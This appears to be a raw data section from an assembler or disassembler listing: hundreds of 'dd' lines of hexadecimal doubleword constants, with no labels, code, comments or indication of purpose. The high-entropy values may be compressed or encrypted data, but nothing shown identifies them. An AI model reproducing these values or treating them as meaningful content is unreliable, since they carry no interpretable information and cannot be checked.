		dd 0E6AA8000h, 52E591B1h, 0E45339C8h, 0C125F989h, 0C02DFC04h
		dd 0B99D7E88h, 140FCF26h, 0F8000C17h, 89B1209Bh, 0BE1900AAh
		dd 52E05A53h, 0F0071A1h, 0B94035C8h, 0F98C61h, 5CDF3CC7h
		dd 44320D70h, 0DB030A00h, 0BA131AD9h, 79CB28D8h, 49CE07F4h
		dd 0A00D5530h, 7CB2C660h, 1E5B9700h, 0AEC8DD82h, 2EB00070h
		dd 30CE6A42h, 85002F50h, 64111CB1h, 5190D9h, 5D21A5D3h
		dd 0AA717557h, 0E4098F07h, 96D0B2BBh, 2A3115h, 0FA2DA524h
		dd 4FD20790h, 6300C1E0h, 0D9DCB2DFh, 2A642h, 4BCF83F8h
		dd 0B49DC6FCh, 686D4Ch,	0BDB56880h, 1D42E6E3h, 9F8A5CBBh
		dd 39BF82A2h, 38E9529Dh, 0C213ECA1h, 4A00F6F6h,	0FB29932Ah
		dd 24665309h, 2FC59BBh,	3ABCD9ACh, 75E87743h, 0C230CD85h
		dd 43E91110h, 0E0310E1Eh, 417F233h, 5CC3ED68h, 0FE4500FEh
		dd 0A4C951D7h, 1098F4h,	437BCD4Dh, 5E8D5DB8h, 5C059B00h
		dd 8215A84Fh, 1BB60141h, 856E0488h, 7B0C60CFh, 0D8F44602h
		dd 80C4C7CCh, 0F3DBA6CCh, 9A21000Bh, 912F13D6h,	0FE00D867h
		dd 421C2501h, 0D159C5h,	1B44E5D2h, 64822CF7h, 0E987560h
		dd 1D578937h, 574BA3C3h, 56A00F01h, 94489EC0h, 8C005E02h
		dd 0E4A6E950h, 24C76A5Dh, 80941C20h, 3FC2755Ch,	5B7EBE33h
		dd 5FAF7609h, 9A98000Dh, 58CC91E4h, 7FCE70ABh, 18274CA0h
		dd 880086A9h, 0FA017EA4h, 28DB39h, 579ECC66h, 4E696C9Dh
		dd 8D20D30Fh, 93B74BDAh, 38F2A800h, 4C2C28A4h, 0B02898ADh
		dd 10D0EE0h, 0F00082DFh, 0B8266B94h, 38DA11C7h,	0E35987D0h
		dd 0B9E01CDCh, 0EA3D8E35h, 0B68C9C40h, 16008508h, 721DB51Bh
		dd 3F440BAh, 0E5E9170Bh, 96FAB0E6h, 414BE0E0h, 1D785700h
		dd 0D2CD9D54h, 0FF020458h, 0C021E84Ah, 4C09D1BAh, 0B73CA01Eh
		dd 0E2A1AB40h, 75873B1h, 0AC358550h, 99D71065h,	0AF2CD5FEh
		dd 0C99308BAh, 0C5483700h, 38745B56h, 8500C7EEh, 0B3271A8Dh
		dd 3900EAC0h, 7163CCEDh, 10D187h, 0DE155AE1h, 67CE94FBh
		dd 202DC82Ch, 4682E49h,	84C80D2Ch, 8C400876h, 79803A0Ah
		dd 64938D47h, 0AD490156h, 1D48AA8Bh, 103887h, 61079A66h
		dd 7E1965Eh, 2EC9DCCAh,	0AF9FD093h, 0F500D0D5h,	5AE44481h
		dd 67111Eh, 27234E8Fh, 0FAB68EF8h, 1780E800h, 3AAD4133h
		dd 69310012h, 0A08A5BD7h, 6700F177h, 0AA86E97Ah, 0B8585E65h
		dd 0AC6B03D0h, 0ADDB1938h, 41CCC8F0h, 16005C9Ch, 0E5B24A6Fh
		dd 5E790046h, 916BE323h, 9E0B309Ch, 662AF7h, 0E8B31978h
		dd 1E180947h, 9C0164EDh, 0C8276BF9h, 4D0E1061h,	0A06A2C7Fh
		dd 0EAFC1BE2h, 0F075304Eh, 0BE537A88h, 657FB81Fh, 970B2F47h
		dd 4A001617h, 0A0F00D88h, 16D3C0C0h, 1315E1Eh, 1A470C34h
		dd 0C0582D24h, 1CF454B2h, 70460B98h, 94A065A9h,	73FC38C4h
		dd 2C72E212h, 0A2AC6007h, 37800415h, 7BF930h, 0EBB0A33Eh
		dd 5F1BF7DEh, 0D1970305h, 22805E25h, 98D31F89h,	0C37C05ECh
		dd 0C04B1A92h, 81AECA12h, 0BE01B77Fh, 0A56B77B3h, 803808FAh
		dd 0F780F128h, 0EDC6031h, 47951DC5h, 0B2D2400Ch, 0FCB5576Dh
		dd 0F2407800h, 56D5EC2Bh, 8E27004Ah, 21D498DFh,	0A000C28h
		dd 0CE758739h, 0F0371708h, 0F0D30034h, 5E98CDDEh, 20031E1h
		dd 26B86AA8h, 38D6412h,	0B41070B5h, 6EEAED95h, 2342E880h
		dd 9F28FBD5h, 55009AE7h, 0ACEAE614h, 0B02CDAh, 0F4E84266h
		dd 0E9780A8Dh, 0BC43F61Fh, 7BFE3100h, 0C3EF1F0h, 0FF32B7BBh
		dd 0EEE2338h, 0B7813C98h, 1F642C0Dh, 0E98238A9h, 6054F9F7h
		dd 1EC59DBCh, 0BC58D945h, 0C09C6C1Dh, 3A080E11h, 362C688Ch
		dd 5762A0E8h, 73A400C6h, 862063F5h, 7E5900C9h, 0EFB18393h
		dd 3007FD2h, 9EDF6AC4h,	3FEAF94Ch, 5C4945C8h, 440F9200h
		dd 6E93F78Dh, 6C68F04Eh, 926D09F5h, 0C200A45h, 0F3267385h
		dd 0E3E26C1Dh, 5D2D17C0h, 736809CDh, 6D7A0095h,	28C2B462h
		dd 3001A237h, 41550669h, 0A8809660h, 42FEC049h,	5F000936h
		dd 7A3B4697h, 0F9720Bh,	0D304420h, 0F75D4A60h, 3CB0B800h
		dd 0D58D07DBh, 0D6A9142Eh, 313DFC3Dh, 366A4A00h, 6CB15C13h
		dd 0F514300h, 0D39505DFh, 7BE0F1Bh, 0DCE1AFEEh,	24F95866h
		dd 2800C594h, 0E2F83D3Bh, 5A7683F1h, 9BEC005Fh,	5B6982EEh
		dd 4C46321Fh, 0E1BD6A80h, 3F7AA6A0h, 0BC00610Eh, 79A9A1CEh
		dd 0E407640Dh, 0C128FAB0h, 3AA777B0h, 0BF301C89h, 44D61ECBh
		dd 0E0D2FFDEh, 60490FCh, 9F498B65h, 0C0060E2h, 0A5B1484Eh
		dd 1A006D44h, 0ED3C5DA3h, 3AF336h, 173B072Ch, 0EE93A551h
		dd 5F70C200h, 0B47283D0h, 12297D88h, 20F34D27h,	0CB76D27Ch
		dd 1A14EF00h, 29FA8942h, 138A0EECh, 8CA24BA4h, 7869573Ah
		dd 7F80726Eh, 0FE14F700h, 197EB8ADh, 0BFED5CABh, 3B066201h
		dd 0DC049ABFh, 890092B4h, 17E584C4h, 2E098Ch, 61BC015h
		dd 37A76EE0h, 0AB6C4000h, 677D3EC2h, 0E88B1EF6h, 68D400D5h
		dd 140206C6h, 0E751CB00h, 41D6A312h, 844203D7h,	0C1CEE516h
		dd 7460DAA9h, 23266250h, 0A3007140h, 93F817A2h,	0ED0700B2h
		dd 0FF10A7A4h, 0FC03BBA0h, 0FAA7BE0h, 0E21101F1h, 0F20DAC79h
		dd 0FD09E4A5h, 2FB79400h, 0CA200633h, 4E61CB67h, 86338A0h
		dd 3F1DADC4h, 301DEC06h, 0A0D4231Fh, 2BEE0910h,	482020CDh
		dd 3A9C557Fh, 0A80D4F56h, 0E11811BDh, 2493F077h, 2D31F800h
		dd 2630DECCh, 6E612C0Dh, 433833D0h, 4B4567C0h, 0EE47BD0Ah
		dd 7C062C04h, 7189D8h, 0E27A136Eh, 3188E475h, 500AA2B0h
		dd 8EBEE60h, 85E88405h,	92EA68C3h, 4C2480C5h, 0F14775A3h
		dd 764B1DC8h, 493E04B5h, 0E0AEE2EEh, 412971F0h,	0E40E840Eh
		dd 8A85418Dh, 9CDCD220h, 82EA7Ch, 1FF1C2DBh, 0E0057465h
		dd 4F758300h, 762442E6h, 0F72D00B2h, 0F51A9B08h, 7A004123h
		dd 92FA44Eh, 1FD3687h, 0D3A2226Ah, 2029FE65h, 71007A4Dh
		dd 0DB8C3B1Eh, 0F2342Eh, 6B4CD53Fh, 5C6E2046h, 4248D801h
		dd 43597C83h, 0FCC60E0h, 0BE947B04h, 0D2B26E80h, 0D360A92Fh
		dd 1F20B4C9h, 0BAFA138Ch, 0D18F004Fh, 35FFEF0Ah, 0DFA59600h
		dd 7F1352A7h, 1C830A5Fh, 8E94D028h, 754E89F7h, 3BDDD880h
		dd 1D503FE8h, 2D0041F6h, 0FFC6547Ah, 18E28780h,	386CAEB4h
		dd 64EC2140h, 0AD613600h, 50D54B99h, 4E9A0018h,	7DA6D08Ah
		dd 3E600C06h, 0EF91A810h, 44801B47h, 5C879C8h, 0DB0027EEh
		dd 0DE41197Ah, 27E43BD3h
		dd 18078A99h, 80AD0563h, 0D091C6FAh, 1973ED30h,	24084B11h
		dd 81C35h, 0EF416467h, 92007C97h, 0C3B905BBh, 0ABE05Bh
		dd 0B89161C4h, 0DA3BE341h, 6C173F7Bh, 0E0D3DDF2h, 0B69100D7h
		dd 0C9AC3AA6h, 0CC1E2E50h, 0DA58E7BEh, 0D97629h, 0F9FEB32Bh
		dd 5460E996h, 40A6A100h, 4709CE0h, 0FA993D42h, 7F375980h
		dd 2CA045A7h, 0EB3B6303h, 8F0F44A1h, 55409E07h,	0F1FA78h
		dd 0FB24599Ah, 0CB1BA479h, 21A808CCh, 9AD90058h, 0DCC14AC0h
		dd 2E75A02Ch, 0B2E424A5h, 0F9F8BB63h, 84006F29h, 7ECCA8D0h
		dd 31249E09h, 22583198h, 9D3094F4h, 3750DD10h, 80519A36h
		dd 0F53F0B46h, 0DB245D08h, 5C40A9C4h, 0D7939ADDh, 0F6AAEE00h
		dd 4C44A008h, 55050699h, 280BC34Eh, 172F9A00h, 29A471E3h
		dd 8C9619C4h, 80180819h, 0E30FC921h, 18B6D38Eh,	9823D414h
		dd 0A4ECB885h, 7803B0C0h, 0E51899D1h, 0E3A21087h, 0F280A0C6h
		dd 40F0AE72h, 0C90D252Eh, 0AF88C00h, 8A6569h, 0CF71B3CBh
		dd 4117462Eh, 0A5330F00h, 0C49654C5h, 2C72009Dh, 0AD0315Bh
		dd 180036B7h, 0BD032FEAh, 0F048A7h, 1CC34BAFh, 1F164312h
		dd 9A22C11Fh, 0A632D400h, 1D3638F6h, 0C07730EEh, 0AD1AE669h
		dd 10748D0h, 2B86B094h,	52A1CD50h, 0F3AB38DBh, 0AC36F981h
		dd 0F4218825h, 0C01FFEBh, 1E7220C2h, 99C00658h,	97A2004Ch
		dd 76B7B01Ch, 5E00BF66h, 2687C1EEh, 0C21DEBh, 0CAE0793Bh
		dd 10F1C034h, 1F3F4500h, 0E2C80C20h, 0DFF0E9h, 554CB52Ch
		dd 0F0B1B875h, 267DD200h, 5CC1DE0h, 14F28Fh, 12F4AF27h
		dd 3F78221Ch, 0ECBA7700h, 0EBE210CFh, 420004Eh,	0A671EA1Dh
		dd 110EBF14h, 1D940B95h, 7ECC680h, 30FCF204h, 6502350Ah
		dd 0E807F4B5h, 64E6B717h, 9971B480h, 78CDF4AAh,	68D3039Dh
		dd 0DBAEABA9h, 470477D9h, 0BF0FCB80h, 4A10158Ch, 0BED22713h
		dd 0D3BAF500h, 262C46DDh, 1B334h, 962DFE35h, 92324A0Ah
		dd 10C629D7h, 2899C39h,	0D944AE08h, 0A0D44452h,	84169F44h
		dd 5E284E50h, 0A66A14A0h, 0D2083A89h, 848AD044h, 4299C422h
		dd 0DA20112Eh, 4081621h, 8472909Bh, 22484188h, 24874D42h
		dd 0FE3C4086h, 0E8825Ah, 3FE77904h, 0EB8B5DFFh,	0E9A3E60Ch
		dd 0C72151h, 41C26143h,	0FAD8932Eh, 0C86C1D00h,	0DB9D2C2Bh
		dd 30181CFFh, 80D3DD11h, 6FBECA2Dh, 900079E0h, 0D7828020h
		dd 7C8E46Dh, 8F08C512h,	1E6807Dh, 7B006F38h, 0B16A0EAFh
		dd 2B0D0A6h, 713EF33Ah,	1205A70h, 89244Ch, 0CE9C1285h
		dd 29EB0D51h, 0D37EFF00h, 0DAD96C8Eh, 718A007Ah, 93C28824h
		dd 0AB24C4A7h, 0E9800810h, 7FA19B86h, 576A0742h, 4038A005h
		dd 0B4E1D556h, 24268306h, 258024Dh, 0BBF623F0h,	3AC00671h
		dd 190C04C1h, 58BC8975h, 0FFAD20A0h, 713D9207h,	519C0636h
		dd 8BE600D2h, 0CAF50286h, 0F8004FA6h, 0F0AD6B1Eh, 0FC51A2D6h
		dd 576D181Fh, 48B9303Ch, 1CACAA00h, 92997E5Ch, 0F37D0036h
		dd 1687B4DCh, 3B3BB879h, 0B602179Bh, 5E2A300h, 0A07621F2h
		dd 11226C7h, 4C0E85ECh,	0EDCAE496h, 6AE620B5h, 58047DF0h
		dd 2D28E632h, 29E4E080h, 0AA0B00B8h, 889B27ECh,	83171692h
		dd 0CA00DCD6h, 4F579A2h, 8C9F0072h, 3727CCE1h, 98242AABh
		dd 8400AC10h, 0BFF535B1h, 3BF407EEh, 5732B07Eh,	11D671C4h
		dd 2070E370h, 0DD337800h, 42C9A07Bh, 340D00BFh,	13B365A7h
		dd 0CA009A3Fh, 0CC880E71h, 3AC45D8h, 5B0F0C90h,	1CE006DBh
		dd 2F0FE853h, 0C08E1644h, 0FE30B170h, 0EE8301E5h, 0CB5EF895h
		dd 6AC0D720h, 0CE62366h, 0E94AF200h, 3EA828F1h,	1D48008Bh
		dd 0AC055199h, 7F0198CAh, 0F047286h, 3CE4455Eh,	182C4D62h
		dd 758F624h, 20AA6E14h,	5730CD66h, 37D1C301h, 0EBDEAF03h
		dd 0D63F20h, 94FAE1E7h,	0E00CA648h, 32565400h, 3FA8C080h
		dd 0E6AD00ABh, 48DE5D5h, 2E3CEE5Ch, 0BCC88Bh, 0CB57F056h
		dd 76D4C7Dh, 0EEB05161h, 4B4D0DEh, 0C300842Ah, 0E628F35h
		dd 31C5C46h, 5E4E42B1h,	0D0000F02h, 0A257FF47h,	15B828h
		dd 0BB701B18h, 0CF526BDDh, 0B948C800h, 3883DE5Dh, 0AFE60F11h
		dd 22002507h, 1837DAADh, 0FD8EB000h, 0C6339A23h, 9CD9005Ah
		dd 10165D4Dh, 7F1FAA12h, 81003EBFh, 0D796E7E9h,	4E1D0FFBh
		dd 53DD5E60h, 9EA803B5h, 81941C71h, 0F8A230B0h,	85E014AEh
		dd 0E3F3CC00h, 0C254E69Eh, 0B48E003Eh, 3B2EDF22h, 4E00ECCFh
		dd 5D16B2ACh, 0E39991h,	10B0B654h, 0B7949290h, 4F079CE4h
		dd 12CA2B9Ah, 571B8C00h, 0B0133D31h, 5A97AA81h,	0C4F5C574h
		dd 0B6027F3Ah, 0A21AFA34h, 50FC09h, 0AAAB17E0h,	6801F835h
		dd 8F3BCC07h, 54E03719h, 82FA1Fh, 4888C7F9h, 2B5C57DFh
		dd 22F47E07h, 8F283B9h,	0ACC481D7h, 31E42586h, 6B370321h
		dd 30890FF1h, 0BC9EC8B8h, 60CC4500h, 0E3439287h, 0FA090144h
		dd 0ED6C4757h, 2E5BD8BAh, 0C8EECA00h, 3E2935E8h, 360500D9h
		dd 99A238BDh, 0D200E931h, 9708902Dh, 30CE10Eh, 0E87FC6ADh
		dd 19002ED5h, 0FF10C73Ah, 19C744Eh, 889FB930h, 0F1D5AA5Fh
		dd 404E2125h, 4BBC7960h, 2F58D0C0h, 3FFAC383h, 6680B0E0h
		dd 0FC3D8525h, 61139F0Bh, 0C4050D63h, 0C580F9EEh, 0C3123Fh
		dd 80C7E9DAh, 8C5C529Dh, 401DE1F6h, 708A33A4h, 1E40B085h
		dd 60C3D0h, 3CD4DB99h, 46EA4BA1h, 76A58F00h, 0CCA4FAB0h
		dd 7297CEDh, 0A7337E2Ah, 0EEF5D02Ch, 0A67FCD6Ch, 7D8C0207h
		dd 0C5E02329h, 7BA4053h, 0F6523C7Eh, 0E0937757h, 0A983412Bh
		dd 0D4717F00h, 397925E8h, 0F13E7FEFh, 4D22C034h, 1909EC87h
		dd 98805A42h, 0CBC10B86h, 8CFEB00h, 62FCC72h, 0DAD40992h
		dd 5480C21Bh, 558649AAh, 8073D83Ah, 5F369A71h, 32D05B3h
		dd 0EB68B6Ah, 0CF0FEA1h, 370CBB50h, 48107291h, 9FFA77h
		dd 7F9B1A41h, 6929678Bh, 0A55CC20Eh, 688801ACh,	0A0BE0710h
		dd 0E50068CCh, 45CA5F13h, 0E5B8D74Dh, 1FFC257Ah, 86BCD300h
		dd 5392284Ch, 583E18CEh, 3560119Ch, 0E1406600h,	0C929C309h
		dd 0F5AE00F1h, 18D34B69h, 953F267Ah, 0BEE1015Dh, 0E08B3302h
		dd 0F138E4h, 0C129B5A6h, 6B4407ACh, 0C329E1Fh, 0B66A4B80h
		dd 0B08F7F81h, 18360595h, 0C04FA05Ah, 0F722D7E2h, 209ABD0Eh
		dd 74C3BDFDh, 58123Eh, 7F5B9690h, 0B706FAE3h, 3764E90Eh
		dd 3C2A8029h, 341AE43h,	8446ABC3h, 2EC09391h, 79003FBCh
		dd 5CFD1E98h, 0FA09E215h, 0AF0500A0h, 0F77601B2h, 20004902h
		dd 2C1F07CBh, 0A49F3Ch,	8EC41F3h, 0A5AAA129h, 919A6800h
		dd 0D17CD766h, 27930001h, 58D57EC7h, 55014B09h,	0B848F0FCh
		dd 3920C2D6h, 0C041F9D0h, 36D987D2h, 0D7B4C0h, 9B82C8FEh
		dd 0D9CA0728h, 21CE1030h, 59860D75h, 3008057h, 3DF89969h
		dd 0EF007BA0h, 8EBE6A1Ch, 0E0CECCFCh, 54D7AE2h,	0FEA017ABh
		dd 5CE4803Ah, 0A81FD080h, 9CC0C273h, 55231C27h,	7D50BF3Dh
		dd 15A6F880h, 75DBF02h,	8038FBF5h, 0EFD125C4h, 1FE479h
		dd 654493BCh, 2B28B875h, 2E34F500h, 7B16E65Ah, 73301FAh
		dd 26A841ABh, 0A969DCE3h, 87959238h, 24D6A744h,	0DA9E6EA0h
		dd 78AB0555h, 0F81F0Dh,	4EE66F9Ch, 2B07942Ch, 0D9FF6CB4h
		dd 1CC7ADE4h, 1A877020h, 53A4001Bh, 0BC715FE7h,	0A20C5417h
		dd 2159B949h, 91DF000Eh, 75828DD0h, 0BB0022F2h,	6C8F3E96h
		dd 219F543h, 4B0BA0BEh,	1C60424Dh, 0F04D9430h, 47AAC0CCh
		dd 0C2BEDCEh, 0BF826F34h
		dd 0E40521D0h, 3E5A075h, 437EDC00h, 16915674h, 30C75B05h
		dd 0A2CD48ECh, 3924FDE6h, 35007CE0h, 0F9435089h, 0F8D8BF3Ah
		dd 3DF61B00h, 0D25E636Ah, 0CC980002h, 38F13CBCh, 8E12D97Bh
		dd 0A8002652h, 19B203A5h, 93BF1F77h, 0E80C00E5h, 0AFB69FF7h
		dd 0E374A02h, 0C06C81C2h, 56C474h, 8C807AD3h, 57C67020h
		dd 8303D201h, 0B8722A8Eh, 0FB2F2183h, 26C01AE8h, 8501812Bh
		dd 0A220CFE5h, 66C83544h, 68930580h, 8199ABD0h,	0E1EC7674h
		dd 0BD407078h, 0EA4FC300h, 8C49EE32h, 9CA76B0h,	75E24C57h
		dd 30D17CA1h, 43886407h, 991F6602h, 4024B9F9h, 26BA6434h
		dd 832450FFh, 273B6018h, 2EC6F000h, 892F4BC8h, 6DEF00E9h
		dd 2D5284CDh, 0A00B438h, 2B30E06Bh, 1F7EE532h, 808C7985h
		dd 1093CCFh, 2001228Fh,	0F4A065B4h, 2020AABFh, 67900145h
		dd 0B3C47B3Bh, 9C91F006h, 0C2343703h, 0B9D8A9h,	0F1FCEE21h
		dd 55626D30h, 0F69BCCA0h, 4C6F1E00h, 9E79D523h,	6BEB2FC0h
		dd 50331660h, 20D0B424h, 0CC1D8039h, 0C4DCBC18h, 39F925A1h
		dd 0A2AEAC18h, 524B8E09h, 440A0191h, 0EC700737h, 0ADA10421h
		dd 0C07B6F3Fh, 9F77F334h, 0AF1F187Eh, 830041D1h, 977E72D9h
		dd 1DA13C4h, 718F00BDh,	50F1227Bh, 9B20B300h, 57398EAAh
		dd 0D10900EBh, 0CEA38594h, 5E1D74B5h, 0A4140CBh, 61EF2870h
		dd 0A8DB5021h, 876B1Dh,	0B4C43462h, 0CA6FE3C3h,	94A52B00h
		dd 0E6664017h, 997000B7h, 12F44E4h, 0D600621Fh,	84C6E255h
		dd 9FB1FAh, 24EC212Eh, 27D1A251h, 0EEEF0306h, 4BE0129Bh
		dd 0C7C8429Ch, 0D8E9332Ch, 2EED401Ch, 21C0A829h, 5EB60F9h
		dd 3EE83C78h, 0EC865680h, 3B3AAA0Fh, 8355D700h,	93BBD698h
		dd 0AC4500DDh, 3DC7F418h, 0E5004971h, 0E10CB643h, 16F38A7h
		dd 0B43602C6h, 0C4FC3C7Bh, 7700B9F2h, 0C7169EA3h, 7640C44h
		dd 0CC88C3AEh, 2782D057h, 65005C4Eh, 9662EB1Ch,	37AE70h
		dd 0BA739D03h, 0AB53E37Ah, 19E045Ch, 4C56860Eh,	0E02C6E0Bh
		dd 0FE380A04h, 723880C4h, 0D2006C79h, 218FCB57h, 77CDFF14h
		dd 80BCA09Ah, 7B3F006Ah, 20B925CFh, 6C71AB13h, 33A84604h
		dd 44C8534Fh, 0E65E12C7h, 0FB8C1771h, 15DDC700h, 1C0ED8C8h
		dd 80D48C29h, 0E19A5956h, 849061C9h, 31D90C04h,	290E7F93h
		dd 0C0C29042h, 0B0D03905h, 2C6F1896h, 412082C3h, 0FCC56527h
		dd 5E12CB3Ch, 0BB00A322h, 0AE392FC9h, 0B1D2FAE5h, 0DCC1004Ch
		dd 0FEC79C13h, 847CA124h, 0C5304C00h, 14BAB4Ah,	3BC624D2h
		dd 70648F57h, 3600C194h, 0EBA938C4h, 59122Fh, 709B9C7Dh
		dd 8D3D6AC3h, 435BA007h, 6E402278h, 3BA4C97Bh, 0D00A9AAh
		dd 9C7A5829h, 974CD86Fh, 0D0DF18C8h, 520CD0h, 90A00886h
		dd 4A01E617h, 296D8A0Eh, 0F1FE8087h, 4862D70Fh,	0F809440Dh
		dd 0B420ACA1h, 260CCA23h, 45684D00h, 0FB37CEEDh, 0D25A2E70h
		dd 0E880255Ch, 0D9F37DF9h, 59D11D1Ch, 6A133940h, 38F53CA1h
		dd 0F60028A2h, 83E69FE2h, 0C03FADE9h, 0C6A90050h, 0FE8E62F5h
		dd 4C1C710Ch, 1900DCDCh, 1F7C45B5h, 42044AB1h, 6F4C8EC3h
		dd 2EF26000h, 0B000A45Eh, 0F3621CF4h, 0CA75731h, 641EEEB2h
		dd 1F00CB21h, 825CBE3Dh, 26A12D06h, 0B8D84849h,	6C1CE04Dh
		dd 9C1F8905h, 1B24DC8Fh, 0DFE0207Ch, 0A7860757h, 95966545h
		dd 3D6C8077h, 0F80053F5h, 8DB2BAD5h, 132B904Dh,	249E5A9h
		dd 415CFECh, 263CE01h, 77004838h, 0D54F067Dh, 86054D01h
		dd 9A02B07h, 0A76338D0h, 2D2300ADh, 79048511h, 0D007185Dh
		dd 34F3EFB0h, 0D116B4A0h, 658F01D6h, 0A955EB88h, 408020CEh
		dd 2EA4F403h, 0D075C26Fh, 3D3BFB0Dh, 83005BB2h,	0F952C4F1h
		dd 0CD095649h, 8CCB667Ah, 1EEAA023h, 71B80Fh, 608930E7h
		dd 7001432Bh, 8B32E5AFh, 20891466h, 0A480956Dh,	9A1E218Ah
		dd 91D14118h, 3182388h,	0F7D642B7h, 3A294A4h, 7384A8E0h
		dd 60A78F00h, 9C1B24FDh, 0DFE6003Fh, 2B0CE0BAh,	8805D686h
		dd 6A60EAC7h, 510CA0h, 71DECFBCh, 2DDC60Ah, 0AB72F400h
		dd 0E92F3A3Bh, 54520062h, 0CB71416Fh, 70508449h, 6E4480B8h
		dd 0CA6310B3h, 0E47228C3h, 0E0CB8B3Ch, 0ECE3B061h, 0A8C1004Dh
		dd 5F42CD2Ah, 0D67C9010h, 0CF556300h, 0C47EBAAh, 38C8F02Dh
		dd 1C0740F6h, 0E1FE0BD2h, 0F8B823B7h, 0D9004E30h, 5815834Fh
		dd 965A9Ch, 5EAB26A7h, 805741F3h, 0D43A1B12h, 84A6BC4Ah
		dd 0C1693585h, 15F2CA0h, 3CBBE387h, 30D58661h, 0B40075CCh
		dd 9667D9B1h, 908276FBh, 0BCC20104h, 935B17ADh,	0DC32219Fh
		dd 0B20069ACh, 6DC95DC4h, 0E7DE56h, 1ECF110Ah, 0EC5217A4h
		dd 0CE130800h, 1046D285h, 0F5E6005Ah, 589B9603h, 6100F387h
		dd 4C915778h, 3B65CBC5h, 0FC9EBB50h, 0E27BC0FAh, 0ABF9E416h
		dd 648E13Eh, 690C206Fh,	0F032EAD0h, 70E4009Eh, 3323DBB5h
		dd 0E706976Eh, 25DDAF72h, 5F8B0021h, 0C21CFD7Dh, 0CE03ECC6h
		dd 26848809h, 0E3DF88C0h, 0C52C1D04h, 995922Dh,	0A8A62C0h
		dd 0D46E82C0h, 24C0E47Dh, 0CF00F8B6h, 0BEF042Ch, 813703h
		dd 0B415F7C1h, 0EAC81092h, 9CECA492h, 44CFD04h,	1AC0D348h
		dd 12AFAE91h, 40847E5Eh, 4F9BBFECh, 0CD0E4518h,	0AF4EB16Bh
		dd 4D02624Bh, 138F0F8h,	0A37B95DDh, 7085B6ACh, 0FE0003CCh
		dd 0BD91AE43h, 9CA419h,	8F390C22h, 0C992086Bh, 0A2D7211Eh
		dd 13474140h, 6EE13Bh, 0CA279F53h, 0FC7ECBCCh, 0F1E66900h
		dd 0B8719B07h, 45D40F51h, 0CBCFD92Ch, 57468180h, 2E006A94h
		dd 0DAEA0F2Dh, 3C21F27Ah, 3280A949h, 215F31Ah, 9C006F7Fh
		dd 3E981991h, 0D406B05Dh, 120078B8h, 0F08AC918h, 0D9005AC3h
		dd 0B63866F9h, 4F0347h,	0E77D549Ah, 0EB25A564h,	67082900h
		dd 2372BC20h, 10C00ACh,	5661E752h, 0CE0E0FB5h, 80826F65h
		dd 7D4C428Bh, 0A7220162h, 959A9481h, 0B9A28E3Dh, 2449E18Eh
		dd 0AC60E62Fh, 1B7690h,	76F49384h, 0D452D15Bh, 63FD9600h
		dd 70208732h, 0B7BE0117h, 414A775h, 0DD9DC8EAh,	3F99A000h
		dd 816A50D3h, 842B0F6Dh, 80234A24h, 19E01BC3h, 0BD1F5CD6h
		dd 0BFC04B02h, 5635DAF1h, 3AFE009Eh, 0B9A339BCh, 63FEB6C1h
		dd 0B4E1C728h, 1E224A00h, 0AB7CB790h, 7E8B002Ah, 60BE3BDh
		dd 3B00FC85h, 0C58058D3h, 0CF9016h, 0F3A9CA3Ch,	0FC54D039h
		dd 5717D173h, 0E0019DB4h, 46E69669h, 2FCCE3C9h,	13AB0027h
		dd 7581C67Dh, 0E0094F4h, 0A1DAFEF3h, 0EA0DAFh, 0C484E605h
		dd 9A75BD90h, 408CE700h, 212CD27Ch, 70191E0Dh, 7FD1C0A4h
		dd 839843DAh, 0B9E55E04h, 4C923697h, 3844DEh, 0C316A972h
		dd 7518D344h, 0C8B4D907h, 61301C40h, 10EA09h, 2229ED82h
		dd 3DA43774h, 0F25E738h, 40CCE189h, 0A0E67F98h,	1917122Ch
		dd 550BEFE3h, 0B98C427h, 3B7ADDF7h, 0D047820h, 4300EFA0h
		dd 8D402E03h, 26096D41h, 4E90FDh, 0F794715Ah, 0DD1356EEh
		dd 80480680h, 0AC6E40F2h, 0A300D7EFh, 6A31F954h, 1CF73DA6h
		dd 202F18Bh, 0B2DB1036h, 5284B840h, 4888D91Ch, 8EBB6A40h
		dd 859760h, 27A3EF0Ah, 91AB6F87h, 0F2FCE41Eh, 998D2580h
		dd 0B93635Ch, 6D659439h, 9E2D6CE8h, 647AAE01h, 37E13C09h
		dd 0EADBE470h, 0C81F644h, 171559CCh, 3900BA11h,	0C3181FF6h
		dd 38BCD9F5h, 0ED18CC9Eh, 39E3BAE6h, 81A48300h,	91A8A6B6h
		dd 421D0FBFh, 15C026AAh, 691879A3h, 950E3E00h, 0DA41C9D5h
		dd 40A73ADEh, 0F7606280h
		dd 0CD4D637Dh, 2035B51Fh, 1DF00514h, 0B9C0FC42h, 81883F90h
		dd 2BF30078h, 8ADD97B8h, 21C07E83h, 0A7557CC5h,	66E61E52h
		dd 49284072h, 60E0508Dh, 11BA4F00h, 7F5C4C3Fh, 0C8B077h
		dd 0A7677ACCh, 6F30836Ah, 143A7909h, 519400A8h,	14A75E5h
		dd 99F0B7E0h, 2055FE7Dh, 7AFE366Ah, 6F702307h, 9E00E11Eh
		dd 28AEDE80h, 2CE5315h,	8BD32297h, 28404F29h, 8300F00Ch
		dd 0C8E9DF89h, 4815EC3Ch, 50104C5h, 7323666Dh, 4B07F8A9h
		dd 0E227AB03h, 88A8762Ah, 0F50EEFD7h, 1DBE4860h, 0BF866037h
		dd 3CEC3B26h, 47481CDFh, 6F2C38F0h, 599FCB60h, 5300C737h
		dd 79217ECEh, 909CDD43h, 2BA10020h, 54C5AC01h, 0E50BE956h
		dd 683687B0h, 99C0FCh, 0DEC87916h, 6E9CBC19h, 1E5DCD48h
		dd 8C0AC04h, 7423ECA4h,	0C0763A40h, 6E491Fh, 0CB0F3DB2h
		dd 0ED13A42Eh, 0EE0039BBh, 8308EAE0h, 0DEC90075h, 0D7F3BE1Fh
		dd 74178211h, 0A807B25Fh, 2837E988h, 7FA0FD50h,	3C543FD9h
		dd 8062EC9Ch, 90505A78h, 0AF1BBEC4h, 0B011EB28h, 79CAC82h
		dd 0D43BFDDDh, 1FCD104Ah, 445DD2A0h, 28661D7Ch,	0E3AC5D80h
		dd 9C8D34h, 0B35CBF0Eh,	628F36E1h, 916921C0h, 1EEE9B71h
		dd 40BE7A45h, 0EC8175FDh, 60B80447h, 0A809F273h, 7E2280h
		dd 0BB57681Ch, 87686h, 731CAE06h, 0E6B73EC1h, 0F630D18h
		dd 727E469h, 40318468h,	23A4D0C2h, 73003626h, 2DF5345h
		dd 0E6B5BA71h, 7715757Bh, 0C1909ED9h, 0DC129301h, 2D00F784h
